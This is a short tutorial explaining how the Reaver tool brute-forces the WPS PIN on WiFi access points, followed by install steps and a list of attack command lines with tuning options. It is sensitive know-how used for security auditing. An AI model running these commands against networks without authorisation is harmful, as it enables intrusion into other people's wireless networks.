Reaver performs a brute force attack against an access point’s WiFi Protected Setup pin number. Once the WPS pin is found, the WPA PSK can be recovered and alternately the AP’s wireless settings can be reconfigured. While Reaver does not support reconfiguring the AP, this can be accomplished with wpa_supplicant once the WPS pin is known.

Reaver performs a brute force attack against the AP, attempting every possible combination in order to guess the AP’s 8 digit pin number. Since the pin numbers are all numeric, there are 10^8 (100,000,000) possible values for any given pin number. However, because the last digit of the pin is a checksum value which can be calculated based on the previous 7 digits, that key space is reduced to 10^7 (10,000,000) possible values.

The key space is reduced even further due to the fact that the WPS authentication protocol cuts the pin in half and validates each half individually. That means that there are 10^4 (10,000) possible values for the first half of the pin and 10^3 (1,000) possible values for the second half of the pin, with the last digit of the pin being a checksum.

Reaver brute forces the first half of the pin and then the second half of the pin, meaning that the entire key space for the WPS pin number can be exhausted in 11,000 attempts. The speed at which Reaver can test pin numbers is entirely limited by the speed at which the AP can process WPS requests. Some APs are fast enough that one pin can be tested every second; others are slower and only allow one pin every ten seconds. Statistically, it will only take half of that time in order to guess the correct pin number.

Reaver WPA Cracking Tutorial

$ ./configure

$ make

# make install

To remove everything installed/created by Reaver:

# make distclean

# reaver -i mon0 -b 00:01:02:03:04:05

# reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksys

# reaver -i mon0 -b 00:01:02:03:04:05 –fixed

# reaver -i mon0 -b 00:01:02:03:04:05 -t 2

# reaver -i mon0 -b 00:01:02:03:04:05 -d 0

# reaver -i mon0 -b 00:01:02:03:04:05 –lock-delay=250

# reaver -i mon0 -b 00:01:02:03:04:05 -vv

# reaver -i mon0 -b 00:01:02:03:04:05 -T .5

# reaver -i mon0 -b 00:01:02:03:04:05 –nack

# reaver -i mon0 -b 00:01:02:03:04:05 –eap-terminate

# reaver -i mon0 -b 00:01:02:03:04:05 –fail-wait=360